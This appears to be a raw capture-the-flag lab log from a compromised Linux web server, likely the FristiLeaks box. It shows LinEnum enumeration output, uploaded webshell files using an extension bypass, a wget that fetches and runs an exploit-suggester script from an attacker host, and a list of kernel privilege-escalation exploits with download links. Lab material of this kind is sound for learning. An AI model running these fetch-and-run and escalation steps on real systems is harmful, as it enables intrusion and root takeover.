 dav_module (shared)
 status_module (shared)
 autoindex_module (shared)
 info_module (shared)
 dav_fs_module (shared)
 vhost_alias_module (shared)
 negotiation_module (shared)
 dir_module (shared)
 actions_module (shared)
 speling_module (shared)
 userdir_module (shared)
 alias_module (shared)
 substitute_module (shared)
 rewrite_module (shared)
 proxy_module (shared)
 proxy_balancer_module (shared)
 proxy_ftp_module (shared)
 proxy_http_module (shared)
 proxy_ajp_module (shared)
 proxy_connect_module (shared)
 cache_module (shared)
 suexec_module (shared)
 disk_cache_module (shared)
 cgi_module (shared)
 version_module (shared)
 php5_module (shared)


[-] www home dir contents:
/var/www/:
total 28K
drwxr-xr-x.  6 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 19 root root 4.0K Nov 19  2015 ..
drwxr-xr-x.  2 root root 4.0K Aug 24  2015 cgi-bin
drwxr-xr-x.  3 root root 4.0K Nov 17  2015 error
drwxr-xr-x.  7 root root 4.0K Nov 25  2015 html
drwxr-xr-x.  3 root root 4.0K Nov 17  2015 icons
-rw-r--r--   1 root root   98 Nov 17  2015 notes.txt

/var/www/cgi-bin:
total 8.0K
drwxr-xr-x. 2 root root 4.0K Aug 24  2015 .
drwxr-xr-x. 6 root root 4.0K Nov 17  2015 ..

/var/www/error:
total 208K
drwxr-xr-x. 3 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 6 root root 4.0K Nov 17  2015 ..
-rw-r--r--. 1 root root 8.9K Nov 13  2005 HTTP_BAD_GATEWAY.html.var
-rw-r--r--. 1 root root 6.5K Nov 13  2005 HTTP_BAD_REQUEST.html.var
-rw-r--r--. 1 root root  11K Nov 13  2005 HTTP_FORBIDDEN.html.var
-rw-r--r--. 1 root root  13K Nov 13  2005 HTTP_GONE.html.var
-rw-r--r--. 1 root root  13K Nov 13  2005 HTTP_INTERNAL_SERVER_ERROR.html.var
-rw-r--r--. 1 root root 7.4K Nov 13  2005 HTTP_LENGTH_REQUIRED.html.var
-rw-r--r--. 1 root root 6.7K Nov 13  2005 HTTP_METHOD_NOT_ALLOWED.html.var
-rw-r--r--. 1 root root  13K Nov 13  2005 HTTP_NOT_FOUND.html.var
-rw-r--r--. 1 root root 6.2K Nov 13  2005 HTTP_NOT_IMPLEMENTED.html.var
-rw-r--r--. 1 root root 6.5K Nov 13  2005 HTTP_PRECONDITION_FAILED.html.var
-rw-r--r--. 1 root root 7.7K Nov 13  2005 HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
-rw-r--r--. 1 root root 7.0K Nov 13  2005 HTTP_REQUEST_TIME_OUT.html.var
-rw-r--r--. 1 root root 7.0K Nov 13  2005 HTTP_REQUEST_URI_TOO_LARGE.html.var
-rw-r--r--. 1 root root 7.7K Nov 13  2005 HTTP_SERVICE_UNAVAILABLE.html.var
-rw-r--r--. 1 root root  13K Nov 13  2005 HTTP_UNAUTHORIZED.html.var
-rw-r--r--. 1 root root 6.3K Nov 13  2005 HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
-rw-r--r--. 1 root root 6.9K Nov 13  2005 HTTP_VARIANT_ALSO_VARIES.html.var
-rw-r--r--. 1 root root 2.0K Jul 11  2006 README
-rw-r--r--. 1 root root 4.2K Nov 13  2005 contact.html.var
drwxr-xr-x. 2 root root 4.0K Nov 17  2015 include
-rw-r--r--. 1 root root 4.9K Oct 19  2014 noindex.html

/var/www/error/include:
total 20K
drwxr-xr-x. 2 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 3 root root 4.0K Nov 17  2015 ..
-rw-r--r--. 1 root root  343 Nov 20  2004 bottom.html
-rw-r--r--. 1 root root    9 Nov 20  2004 spacer.html
-rw-r--r--. 1 root root  969 Nov 20  2004 top.html

/var/www/html:
total 36K
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 .
drwxr-xr-x. 6 root   root   4.0K Nov 17  2015 ..
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 beer
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 cola
drwxr-xr-x  3 apache apache 4.0K Aug 21 12:26 fristi
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 images
-rw-r--r--  1 apache apache  703 Nov 17  2015 index.html
-rw-r--r--  1 apache apache   62 Nov 17  2015 robots.txt
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 sisi

/var/www/html/beer:
total 12K
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 .
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
-rw-r--r--  1 root   root     33 Nov 25  2015 index.html

/var/www/html/cola:
total 8.0K
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 .
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
lrwxrwxrwx  1 root   root     29 Nov 25  2015 index.html -> /var/www/html/beer/index.html

/var/www/html/fristi:
total 216K
drwxr-xr-x  3 apache apache 4.0K Aug 21 12:26 .
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
-rwxr-xr-x  1 apache apache  44K Jul 15 18:22 LinEnum.sh
-rw-r--r--. 1 apache apache 1.3K Nov 17  2015 checklogin.php
-rw-r--r--. 1 apache apache 1.2K Nov 17  2015 do_upload.php
lrwxrwxrwx. 1 apache apache   14 Nov 17  2015 index.php -> main_login.php
-rw-r--r--. 1 apache apache  191 Nov 17  2015 login_success.php
-rw-r--r--. 1 apache apache   45 Nov 17  2015 logout.php
-rw-r--r--. 1 apache apache 1.4K Nov 17  2015 main_login.php
-rw-r--r--. 1 apache apache 129K Nov 17  2015 pic.b64
-rw-r--r--. 1 apache apache 1.7K Nov 17  2015 pic2.b64
-rw-r--r--. 1 apache apache  372 Nov 17  2015 upload.php
drwxrwxrwx. 2 apache apache 4.0K Aug 21 11:54 uploads

/var/www/html/fristi/uploads:
total 24K
drwxrwxrwx. 2 apache apache 4.0K Aug 21 11:54 .
drwxr-xr-x  3 apache apache 4.0K Aug 21 12:26 ..
-rw-r--r--  1 apache apache   48 Aug 21 11:48 Webshell.php%00.png
-rw-r--r--  1 apache apache   48 Aug 21 11:54 Webshell.php.png
-rw-r--r--  1 apache apache   48 Aug 21 11:43 Webshell.png
-r--r--r--. 1 apache apache    4 Nov 17  2015 index.html

/var/www/html/images:
total 152K
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 .
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
-rw-r--r--  1 apache apache 106K Nov 25  2015 3037440.jpg
-rw-r--r--  1 apache apache  34K Nov 17  2015 keep-calm.png

/var/www/html/sisi:
total 8.0K
drwxr-xr-x  2 apache apache 4.0K Nov 25  2015 .
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
lrwxrwxrwx  1 root   root     29 Nov 25  2015 index.html -> /var/www/html/beer/index.html

/var/www/icons:
total 696K
drwxr-xr-x. 3 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 6 root root 4.0K Nov 17  2015 ..
-rw-r--r--. 1 root root 5.0K Aug 28  2007 README
-rw-r--r--. 1 root root  36K Aug 28  2007 README.html
-rw-r--r--. 1 root root  246 Nov 20  2004 a.gif
-rw-r--r--. 1 root root  306 Nov 26  2008 a.png
-rw-r--r--. 1 root root  242 Nov 20  2004 alert.black.gif
-rw-r--r--. 1 root root  293 Nov 26  2008 alert.black.png
-rw-r--r--. 1 root root  247 Nov 20  2004 alert.red.gif
-rw-r--r--. 1 root root  314 Nov 26  2008 alert.red.png
-rw-r--r--. 1 root root 2.3K Nov 20  2004 apache_pb.gif
-rw-r--r--. 1 root root 2.1K Nov 26  2008 apache_pb.png
-rw-r--r--. 1 root root 1.8K Nov 26  2008 apache_pb2.gif
-rw-r--r--. 1 root root 1.5K Nov 26  2008 apache_pb2.png
-rw-r--r--. 1 root root 2.4K Nov 26  2008 apache_pb2_ani.gif
-rw-r--r--. 1 root root  216 Nov 20  2004 back.gif
-rw-r--r--. 1 root root  308 Nov 26  2008 back.png
-rw-r--r--. 1 root root  233 Nov 20  2004 ball.gray.gif
-rw-r--r--. 1 root root  298 Nov 26  2008 ball.gray.png
-rw-r--r--. 1 root root  205 Nov 20  2004 ball.red.gif
-rw-r--r--. 1 root root  289 Nov 26  2008 ball.red.png
-rw-r--r--. 1 root root  246 Nov 20  2004 binary.gif
-rw-r--r--. 1 root root  310 Nov 26  2008 binary.png
-rw-r--r--. 1 root root  246 Nov 20  2004 binhex.gif
-rw-r--r--. 1 root root  319 Nov 26  2008 binhex.png
-rw-r--r--. 1 root root  148 Nov 20  2004 blank.gif
-rw-r--r--. 1 root root  215 Nov 26  2008 blank.png
-rw-r--r--. 1 root root  308 Nov 20  2004 bomb.gif
-rw-r--r--. 1 root root  375 Nov 26  2008 bomb.png
-rw-r--r--. 1 root root  251 Nov 20  2004 box1.gif
-rw-r--r--. 1 root root  325 Aug 28  2007 box1.png
-rw-r--r--. 1 root root  268 Nov 20  2004 box2.gif
-rw-r--r--. 1 root root  336 Aug 28  2007 box2.png
-rw-r--r--. 1 root root  247 Nov 20  2004 broken.gif
-rw-r--r--. 1 root root  320 Nov 26  2008 broken.png
-rw-r--r--. 1 root root  235 Nov 20  2004 burst.gif
-rw-r--r--. 1 root root  341 Nov 26  2008 burst.png
-rw-r--r--. 1 root root  242 Nov 20  2004 c.gif
-rw-r--r--. 1 root root  299 Nov 26  2008 c.png
-rw-r--r--. 1 root root  251 Nov 20  2004 comp.blue.gif
-rw-r--r--. 1 root root  330 Aug 28  2007 comp.blue.png
-rw-r--r--. 1 root root  246 Nov 20  2004 comp.gray.gif
-rw-r--r--. 1 root root  318 Nov 26  2008 comp.gray.png
-rw-r--r--. 1 root root 1.1K Nov 20  2004 compressed.gif
-rw-r--r--. 1 root root 1.1K Aug 28  2007 compressed.png
-rw-r--r--. 1 root root  214 Nov 20  2004 continued.gif
-rw-r--r--. 1 root root  296 Nov 26  2008 continued.png
-rw-r--r--. 1 root root  225 Nov 20  2004 dir.gif
-rw-r--r--. 1 root root  295 Nov 26  2008 dir.png
-rw-r--r--. 1 root root  167 Nov 20  2004 diskimg.gif
-rw-r--r--. 1 root root  215 Aug 28  2007 diskimg.png
-rw-r--r--. 1 root root  163 Nov 20  2004 down.gif
-rw-r--r--. 1 root root  256 Nov 26  2008 down.png
-rw-r--r--. 1 root root  238 Nov 20  2004 dvi.gif
-rw-r--r--. 1 root root  305 Nov 26  2008 dvi.png
-rw-r--r--. 1 root root  236 Nov 20  2004 f.gif
-rw-r--r--. 1 root root  296 Nov 26  2008 f.png
-rw-r--r--. 1 root root  225 Nov 20  2004 folder.gif
-rw-r--r--. 1 root root  242 Nov 20  2004 folder.open.gif
-rw-r--r--. 1 root root  332 Nov 26  2008 folder.open.png
-rw-r--r--. 1 root root  295 Nov 26  2008 folder.png
-rw-r--r--. 1 root root  243 Nov 20  2004 folder.sec.gif
-rw-r--r--. 1 root root  313 Aug 28  2007 folder.sec.png
-rw-r--r--. 1 root root  219 Nov 20  2004 forward.gif
-rw-r--r--. 1 root root  308 Nov 26  2008 forward.png
-rw-r--r--. 1 root root  221 Nov 20  2004 generic.gif
-rw-r--r--. 1 root root  275 Nov 26  2008 generic.png
-rw-r--r--. 1 root root  220 Nov 20  2004 generic.red.gif
-rw-r--r--. 1 root root  283 Nov 26  2008 generic.red.png
-rw-r--r--. 1 root root  249 Nov 20  2004 generic.sec.gif
-rw-r--r--. 1 root root  295 Nov 26  2008 generic.sec.png
-rw-r--r--. 1 root root  217 Nov 20  2004 hand.right.gif
-rw-r--r--. 1 root root  311 Nov 26  2008 hand.right.png
-rw-r--r--. 1 root root  223 Nov 20  2004 hand.up.gif
-rw-r--r--. 1 root root  304 Nov 26  2008 hand.up.png
-rw-r--r--. 1 root root  12K Nov 20  2004 icon.sheet.gif
-rw-r--r--. 1 root root 8.9K Aug 28  2007 icon.sheet.png
-rw-r--r--. 1 root root  274 Nov 20  2004 image1.gif
-rw-r--r--. 1 root root  325 Nov 26  2008 image1.png
-rw-r--r--. 1 root root  309 Nov 20  2004 image2.gif
-rw-r--r--. 1 root root  371 Nov 26  2008 image2.png
-rw-r--r--. 1 root root  286 Nov 20  2004 image3.gif
-rw-r--r--. 1 root root  338 Nov 26  2008 image3.png
-rw-r--r--. 1 root root  268 Nov 20  2004 index.gif
-rw-r--r--. 1 root root  332 Nov 26  2008 index.png
-rw-r--r--. 1 root root  276 Nov 20  2004 layout.gif
-rw-r--r--. 1 root root  323 Nov 26  2008 layout.png
-rw-r--r--. 1 root root  172 Nov 20  2004 left.gif
-rw-r--r--. 1 root root  257 Nov 26  2008 left.png
-rw-r--r--. 1 root root  249 Nov 20  2004 link.gif
-rw-r--r--. 1 root root  314 Nov 26  2008 link.png
-rw-r--r--. 1 root root  243 Nov 20  2004 movie.gif
-rw-r--r--. 1 root root  272 Nov 26  2008 movie.png
-rw-r--r--. 1 root root  237 Nov 20  2004 p.gif
-rw-r--r--. 1 root root  298 Nov 26  2008 p.png
-rw-r--r--. 1 root root  251 Nov 20  2004 patch.gif
-rw-r--r--. 1 root root  310 Nov 26  2008 patch.png
-rw-r--r--. 1 root root  249 Nov 20  2004 pdf.gif
-rw-r--r--. 1 root root  304 Nov 26  2008 pdf.png
-rw-r--r--. 1 root root 2.5K Jul  9  2015 php.gif
-rw-r--r--. 1 root root  188 Nov 20  2004 pie0.gif
-rw-r--r--. 1 root root  259 Nov 26  2008 pie0.png
-rw-r--r--. 1 root root  198 Nov 20  2004 pie1.gif
-rw-r--r--. 1 root root  279 Nov 26  2008 pie1.png
-rw-r--r--. 1 root root  198 Nov 20  2004 pie2.gif
-rw-r--r--. 1 root root  272 Nov 26  2008 pie2.png
-rw-r--r--. 1 root root  191 Nov 20  2004 pie3.gif
-rw-r--r--. 1 root root  276 Nov 26  2008 pie3.png
-rw-r--r--. 1 root root  193 Nov 20  2004 pie4.gif
-rw-r--r--. 1 root root  258 Nov 26  2008 pie4.png
-rw-r--r--. 1 root root  189 Nov 20  2004 pie5.gif
-rw-r--r--. 1 root root  277 Nov 26  2008 pie5.png
-rw-r--r--. 1 root root  186 Nov 20  2004 pie6.gif
-rw-r--r--. 1 root root  273 Nov 26  2008 pie6.png
-rw-r--r--. 1 root root  185 Nov 20  2004 pie7.gif
-rw-r--r--. 1 root root  275 Nov 26  2008 pie7.png
-rw-r--r--. 1 root root  173 Nov 20  2004 pie8.gif
-rw-r--r--. 1 root root  259 Nov 26  2008 pie8.png
-rw-r--r--. 1 root root  254 Nov 20  2004 portal.gif
-rw-r--r--. 1 root root  319 Aug 28  2007 portal.png
lrwxrwxrwx. 1 root root   40 Nov 17  2015 poweredby.png -> ../../../usr/share/pixmaps/poweredby.png
-rw-r--r--. 1 root root  244 Nov 20  2004 ps.gif
-rw-r--r--. 1 root root  303 Nov 26  2008 ps.png
-rw-r--r--. 1 root root  267 Nov 20  2004 quill.gif
-rw-r--r--. 1 root root  329 Aug 28  2007 quill.png
-rw-r--r--. 1 root root  172 Nov 20  2004 right.gif
-rw-r--r--. 1 root root  254 Nov 26  2008 right.png
-rw-r--r--. 1 root root  258 Nov 20  2004 screw1.gif
-rw-r--r--. 1 root root  328 Nov 26  2008 screw1.png
-rw-r--r--. 1 root root  263 Nov 20  2004 screw2.gif
-rw-r--r--. 1 root root  333 Nov 26  2008 screw2.png
-rw-r--r--. 1 root root  242 Nov 20  2004 script.gif
-rw-r--r--. 1 root root  290 Nov 26  2008 script.png
drwxr-xr-x. 2 root root 4.0K Nov 17  2015 small
-rw-r--r--. 1 root root  248 Nov 20  2004 sound1.gif
-rw-r--r--. 1 root root  331 Aug 28  2007 sound1.png
-rw-r--r--. 1 root root  221 Nov 20  2004 sound2.gif
-rw-r--r--. 1 root root  315 Nov 26  2008 sound2.png
-rw-r--r--. 1 root root  285 Nov 20  2004 sphere1.gif
-rw-r--r--. 1 root root  347 Nov 26  2008 sphere1.png
-rw-r--r--. 1 root root  264 Nov 20  2004 sphere2.gif
-rw-r--r--. 1 root root  339 Aug 28  2007 sphere2.png
-rw-r--r--. 1 root root  219 Nov 20  2004 tar.gif
-rw-r--r--. 1 root root  261 Nov 26  2008 tar.png
-rw-r--r--. 1 root root  251 Nov 20  2004 tex.gif
-rw-r--r--. 1 root root  310 Nov 26  2008 tex.png
-rw-r--r--. 1 root root  229 Nov 20  2004 text.gif
-rw-r--r--. 1 root root  288 Nov 26  2008 text.png
-rw-r--r--. 1 root root  242 Nov 20  2004 transfer.gif
-rw-r--r--. 1 root root  334 Nov 26  2008 transfer.png
-rw-r--r--. 1 root root  245 Nov 20  2004 unknown.gif
-rw-r--r--. 1 root root  307 Nov 26  2008 unknown.png
-rw-r--r--. 1 root root  164 Nov 20  2004 up.gif
-rw-r--r--. 1 root root  255 Nov 26  2008 up.png
-rw-r--r--. 1 root root  236 Nov 20  2004 uu.gif
-rw-r--r--. 1 root root  296 Nov 26  2008 uu.png
-rw-r--r--. 1 root root  236 Nov 20  2004 uuencoded.gif
-rw-r--r--. 1 root root  296 Nov 26  2008 uuencoded.png
-rw-r--r--. 1 root root  228 Nov 20  2004 world1.gif
-rw-r--r--. 1 root root  332 Aug 28  2007 world1.png
-rw-r--r--. 1 root root  261 Nov 20  2004 world2.gif
-rw-r--r--. 1 root root  363 Nov 26  2008 world2.png

/var/www/icons/small:
total 264K
drwxr-xr-x. 2 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 3 root root 4.0K Nov 17  2015 ..
-rw-r--r--. 1 root root  129 Nov 20  2004 back.gif
-rw-r--r--. 1 root root  181 Aug 28  2007 back.png
-rw-r--r--. 1 root root  134 Nov 20  2004 binary.gif
-rw-r--r--. 1 root root  172 Aug 28  2007 binary.png
-rw-r--r--. 1 root root  131 Nov 20  2004 binhex.gif
-rw-r--r--. 1 root root  178 Aug 28  2007 binhex.png
-rw-r--r--. 1 root root   55 Nov 20  2004 blank.gif
-rw-r--r--. 1 root root  100 Aug 28  2007 blank.png
-rw-r--r--. 1 root root  139 Nov 20  2004 broken.gif
-rw-r--r--. 1 root root  184 Aug 28  2007 broken.png
-rw-r--r--. 1 root root  128 Nov 20  2004 burst.gif
-rw-r--r--. 1 root root  210 Aug 28  2007 burst.png
-rw-r--r--. 1 root root  130 Nov 20  2004 comp1.gif
-rw-r--r--. 1 root root  216 Aug 28  2007 comp1.png
-rw-r--r--. 1 root root  131 Nov 20  2004 comp2.gif
-rw-r--r--. 1 root root  215 Aug 28  2007 comp2.png
-rw-r--r--. 1 root root  128 Nov 20  2004 compressed.gif
-rw-r--r--. 1 root root  212 Aug 28  2007 compressed.png
-rw-r--r--. 1 root root  114 Nov 20  2004 continued.gif
-rw-r--r--. 1 root root  163 Aug 28  2007 continued.png
-rw-r--r--. 1 root root  132 Nov 20  2004 dir.gif
-rw-r--r--. 1 root root  175 Nov 20  2004 dir.png
-rw-r--r--. 1 root root  122 Nov 20  2004 dir2.gif
-rw-r--r--. 1 root root  161 Nov 20  2004 dir2.png
-rw-r--r--. 1 root root  191 Nov 20  2004 doc.gif
-rw-r--r--. 1 root root  222 Aug 28  2007 doc.png
-rw-r--r--. 1 root root  125 Nov 20  2004 forward.gif
-rw-r--r--. 1 root root  174 Aug 28  2007 forward.png
-rw-r--r--. 1 root root  116 Nov 20  2004 generic.gif
-rw-r--r--. 1 root root  149 Aug 28  2007 generic.png
-rw-r--r--. 1 root root  127 Nov 20  2004 generic2.gif
-rw-r--r--. 1 root root  179 Aug 28  2007 generic2.png
-rw-r--r--. 1 root root  113 Nov 20  2004 generic3.gif
-rw-r--r--. 1 root root  171 Aug 28  2007 generic3.png
-rw-r--r--. 1 root root  126 Nov 20  2004 image.gif
-rw-r--r--. 1 root root  197 Aug 28  2007 image.png
-rw-r--r--. 1 root root  138 Nov 20  2004 image2.gif
-rw-r--r--. 1 root root  203 Aug 28  2007 image2.png
-rw-r--r--. 1 root root  145 Nov 20  2004 index.gif
-rw-r--r--. 1 root root  225 Aug 28  2007 index.png
-rw-r--r--. 1 root root  187 Nov 20  2004 key.gif
-rw-r--r--. 1 root root  210 Aug 28  2007 key.png
-rw-r--r--. 1 root root  134 Nov 20  2004 movie.gif
-rw-r--r--. 1 root root  159 Aug 28  2007 movie.png
-rw-r--r--. 1 root root  182 Nov 20  2004 patch.gif
-rw-r--r--. 1 root root  211 Aug 28  2007 patch.png
-rw-r--r--. 1 root root  184 Nov 20  2004 ps.gif
-rw-r--r--. 1 root root  217 Aug 28  2007 ps.png
-rw-r--r--. 1 root root 3.8K Nov 20  2004 rainbow.gif
-rw-r--r--. 1 root root 2.4K Aug 28  2007 rainbow.png
-rw-r--r--. 1 root root  130 Nov 20  2004 sound.gif
-rw-r--r--. 1 root root  197 Aug 28  2007 sound.png
-rw-r--r--. 1 root root  119 Nov 20  2004 sound2.gif
-rw-r--r--. 1 root root  171 Aug 28  2007 sound2.png
-rw-r--r--. 1 root root  132 Nov 20  2004 tar.gif
-rw-r--r--. 1 root root  173 Aug 28  2007 tar.png
-rw-r--r--. 1 root root  128 Nov 20  2004 text.gif
-rw-r--r--. 1 root root  163 Aug 28  2007 text.png
-rw-r--r--. 1 root root  124 Nov 20  2004 transfer.gif
-rw-r--r--. 1 root root  211 Aug 28  2007 transfer.png
-rw-r--r--. 1 root root  131 Nov 20  2004 unknown.gif
-rw-r--r--. 1 root root  172 Aug 28  2007 unknown.png
-rw-r--r--. 1 root root  125 Nov 20  2004 uu.gif
-rw-r--r--. 1 root root  166 Aug 28  2007 uu.png


### INTERESTING FILES ####################################
[-] Useful file locations:
/usr/bin/wget
/usr/bin/gcc
/usr/bin/curl


[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 1165 Nov 25  2015 /etc/passwd
-rw-r--r-- 1 root root 544 Nov 25  2015 /etc/group
-rw-r--r--. 1 root root 1796 Nov 19  2015 /etc/profile
---------- 1 root root 1057 Nov 25  2015 /etc/shadow


[-] SUID files:
-rwsr-xr-x. 1 root root 77336 Oct 15  2014 /bin/mount
-rwsr-x---. 1 root fuse 27968 Dec  7  2011 /bin/fusermount
-rwsr-xr-x. 1 root root 53472 Oct 15  2014 /bin/umount
-rwsr-xr-x. 1 root root 34904 Nov 10  2015 /bin/su
-rwsr-xr-x. 1 root root 38200 Jul 23  2015 /bin/ping
-rwsr-xr-x. 1 root root 36488 Jul 23  2015 /bin/ping6
-rwsr-xr-x. 1 root root 10272 Aug 18  2015 /sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root 34840 Aug 18  2015 /sbin/unix_chkpwd
-rwsr-xr-x. 1 root root 51784 Nov 10  2015 /usr/bin/crontab
-rws--x--x. 1 root root 20056 Oct 15  2014 /usr/bin/chsh
---s--x--x. 1 root root 123832 Aug 13  2015 /usr/bin/sudo
-rws--x--x. 1 root root 20184 Oct 15  2014 /usr/bin/chfn
-rwsr-xr-x. 1 root root 36144 Apr  7  2015 /usr/bin/newgrp
-rwsr-xr-x. 1 root root 66352 Apr  7  2015 /usr/bin/chage
-rwsr-xr-x. 1 root root 71480 Apr  7  2015 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root 30768 Feb 22  2012 /usr/bin/passwd
-rwsr-xr-x. 1 root root 257824 Aug 13  2015 /usr/libexec/openssh/ssh-keysign
-rws--x--x. 1 root root 14280 Sep 22  2015 /usr/libexec/pt_chown
-r-s--x---. 1 root apache 13984 Aug 24  2015 /usr/sbin/suexec
-rwsr-xr-x. 1 root root 9000 Nov 10  2015 /usr/sbin/usernetctl


[+] Possibly interesting SUID files:
-rwsr-xr-x. 1 root root 257824 Aug 13  2015 /usr/libexec/openssh/ssh-keysign


[-] GUID files:
-rwxr-sr-x. 1 root root 5512 Nov 10  2015 /sbin/netreport
-rwxr-sr-x. 1 root tty 12016 Oct 15  2014 /usr/bin/write
-rwxr-sr-x. 1 root nobody 141384 Aug 13  2015 /usr/bin/ssh-agent
-r-xr-sr-x. 1 root tty 11104 Jul 23  2015 /usr/bin/wall
-rwx--s--x. 1 root utmp 6800 Aug 18  2010 /usr/libexec/utempter/utempter
-rwxr-sr-x. 1 root postdrop 217832 Nov 10  2015 /usr/sbin/postqueue
-rwxr-sr-x. 1 root postdrop 184904 Nov 10  2015 /usr/sbin/postdrop


[+] Possibly interesting GUID files:
-rwxr-sr-x. 1 root nobody 141384 Aug 13  2015 /usr/bin/ssh-agent


[-] NFS config details: 
-rw-r--r--. 1 root root 0 Jan 12  2010 /etc/exports


[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems

#
# /etc/fstab
# Created by anaconda on Tue Nov 17 03:13:39 2015
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
/dev/mapper/VolGroup-lv_root /                       ext4    defaults        1 1
UUID=f8fbe1d0-ca27-42c9-af3c-6496b65d310c /boot                   ext4    defaults        1 2
/dev/mapper/VolGroup-lv_swap swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0

[-] Can't search *.conf files as no keyword was entered
[-] Can't search *.php files as no keyword was entered
[-] Can't search *.log files as no keyword was entered
[-] Can't search *.ini files as no keyword was entered

[-] All *.conf files in /etc (recursive 1 level):
-rw-r--r--. 1 root root 519 Jul 24  2015 /etc/dracut.conf
-rw-r--r--. 1 root root 2293 Jul 25  2015 /etc/libuser.conf
-rw-r--r--. 1 root root 827 Jul 24  2015 /etc/mke2fs.conf
-rw-r-----. 1 root root 1786 Sep 25  2012 /etc/sudo.conf
-rw-r--r--. 1 root root 662 Aug 29  2007 /etc/logrotate.conf
-rw-r--r--. 1 root root 2875 Dec 10  2014 /etc/rsyslog.conf
-rw-r--r--. 1 root root 62 Aug 21 09:20 /etc/resolv.conf
-rw-r--r--. 1 root root 969 Jul 24  2015 /etc/yum.conf
-rw-r--r--. 1 root root 449 Apr 10  2015 /etc/krb5.conf
-rw-r-----. 1 root root 3181 Jul 29  2015 /etc/sudo-ldap.conf
-rw-r--r--. 1 root root 9 Oct  2  2013 /etc/host.conf
-rw-r-----. 1 root root 191 Jun  3  2014 /etc/libaudit.conf
-rw-r--r--. 1 root root 28 Jul 24  2013 /etc/ld.so.conf
-rw-r--r--. 1 root root 1688 May  4  2010 /etc/nsswitch.conf
-rw-r--r--. 1 root root 0 Sep 22  2015 /etc/gai.conf
-rw-r--r--. 1 root root 998 Nov 10  2015 /etc/sysctl.conf
-rw-r--r--. 1 root root 148 May 14  2009 /etc/asound.conf
-rw-r--r--. 1 root root 216 Jul 24  2015 /etc/sestatus.conf


[-] Any interesting mail in /var/mail:
lrwxrwxrwx. 1 root root 10 Nov 17  2015 /var/mail -> spool/mail


### SCAN COMPLETE ####################################

=================================================================================

sh-4.1$ wget http://192.168.1.8:8000/Linux-exploit-suggester.sh 

--2018-08-21 15:43:54--  http://192.168.1.8:8000/Linux-exploit-suggester.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 65666 (64K) [text/x-sh]
Saving to: `Linux-exploit-suggester.sh'

     0K .......... .......... .......... .......... .......... 77% 9.37M 0s
    50K .......... ....                                       100%  115G=0.005s

2018-08-21 15:43:54 (12.0 MB/s) - `Linux-exploit-suggester.sh' saved [65666/65666]

sh-4.1$ chmod +x Linux-exploit-suggester.sh 

sh-4.1$ ./Linux-exploit-suggester.sh 

Available information:

Kernel version: 2.6.32
Architecture: x86_64
Distribution: RHEL
Distribution version: 1.3
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

70 kernel space exploits
32 user space exploits

Possible Exploits:

[+] [CVE-2010-3301] ptrace_kmod2

   Details: https://www.exploit-db.com/exploits/15023/
   Tags: debian=6,ubuntu=10.04|10.10
   Download URL: https://www.exploit-db.com/download/15023

[+] [CVE-2010-1146] reiserfs

   Details: https://www.exploit-db.com/exploits/12130/
   Tags: ubuntu=9.10
   Download URL: https://www.exploit-db.com/download/12130

[+] [CVE-2010-2959] can_bcm

   Details: https://www.exploit-db.com/exploits/14814/
   Tags: ubuntu=10.04
   Download URL: https://www.exploit-db.com/download/14814

[+] [CVE-2010-3904] rds

   Details: http://www.securityfocus.com/archive/1/514379
   Tags: debian=6,ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-21-generic}
   Download URL: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c

[+] [CVE-2010-3848,CVE-2010-3850,CVE-2010-4073] half_nelson

   Details: https://www.exploit-db.com/exploits/17787/
   Tags: ubuntu=10.04|9.10
   Download URL: https://www.exploit-db.com/download/17787

[+] [CVE-2010-4347] american-sign-language

   Details: https://www.exploit-db.com/exploits/15774/
   Download URL: https://www.exploit-db.com/download/15774

[+] [CVE-2010-3437] pktcdvd

   Details: https://www.exploit-db.com/exploits/15150/
   Tags: ubuntu=10.04
   Download URL: https://www.exploit-db.com/download/15150

[+] [CVE-2010-3081] video4linux

   Details: https://www.exploit-db.com/exploits/15024/
   Tags: RHEL=5
   Download URL: https://www.exploit-db.com/download/15024

[+] [CVE-2012-0056,CVE-2010-3849,CVE-2010-3850] full-nelson

   Details: http://vulnfactory.org/exploits/full-nelson.c
   Tags: ubuntu=9.10|10.04|10.10,ubuntu=10.04.1
   Download URL: http://vulnfactory.org/exploits/full-nelson.c

[+] [CVE-2013-2094] perf_swevent

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Tags: RHEL=6,ubuntu=12.04
   Download URL: https://www.exploit-db.com/download/26131

[+] [CVE-2013-2094] perf_swevent 2

